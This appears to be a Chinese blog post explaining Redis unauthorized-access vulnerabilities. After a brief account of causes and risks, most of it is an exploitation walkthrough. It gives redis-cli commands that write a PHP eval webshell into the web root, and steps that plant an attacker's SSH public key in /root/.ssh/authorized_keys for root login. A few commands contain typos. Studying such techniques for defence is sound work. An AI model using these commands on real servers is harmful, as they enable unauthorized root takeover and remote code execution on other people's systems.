redis未授权漏洞

redis未授权访问漏洞

未授权访问漏洞产生原因

redis安装之后如果不进行相关安全操作,比如修改conf文件等时,能构造成redis不用经过登录就能够直接访问。

redis一般绑定在0.0.0.0:6379上,如果没有设置防火墙规则,会直接暴露在公网上

未授权访问漏洞的危害

一般来说redis的未授权访问是发生在内网的,经常会配合ssrf漏洞进行漏洞利用攻击
1. 能够造成敏感信息泄露,恶意使用flushall来清空内部所有数据
2. 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
3. 如果没有在redis.conf将daemonize no改为yes 和protected-mode no改为yes的话就很容易造成写入.ssh公钥直接以root权限,直接以root权限控制整个服务器

redis攻击利用姿势

1. 直接通过未授权访问连接到服务器的redis
    执行命令 redis-cli -h +ip 
2. 开启web服务一般来说linux下的web服务的路径为/var/www/html/下
    连接后
1
2
3
4
5
set dir /var/www/html
config set dbfilename shell.php
set shell "<?php @eval($_POST['X'])?>"
save
#接到提示为ok之后就能够利用蚁剑菜刀等连接shell
3. 存在ssh服务,直接本地生成ssh公钥写入/root/.ssh
1
root@LAPTOP-60MTI4MA:~# ssh-keygen -t rsa

演示
之后进入/root/.ssh目录,将公钥保存到另一个文件

1
root@LAPTOP-60MTI4MA:~#(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

将公钥写入redis

1
root@LAPTOP-60MTI4MA:~# cat 1.txt | redis-cli -h 10.10.10.135 -x set crack

无误后连接redis

1
2
3
4
5
root@LAPTOP-60MTI4MA:~# redis -cli -h +ip
ip:6379>config set dir /root/.ssh
ip:6379>config set dbfilename authorized_keys
ip:6379>save
ip:6379>exit

最后ssh使用公钥以root连接

1
ssh - i id_rsa root@ip

后续接着写配合ssrf利用gopher协议打redis

文章目录
  1. 1. redis未授权访问漏洞
    1. 1.0.1. 未授权访问漏洞产生原因
    2. 1.0.2. 未授权访问漏洞的危害
    3. 1.0.3. redis攻击利用姿势
,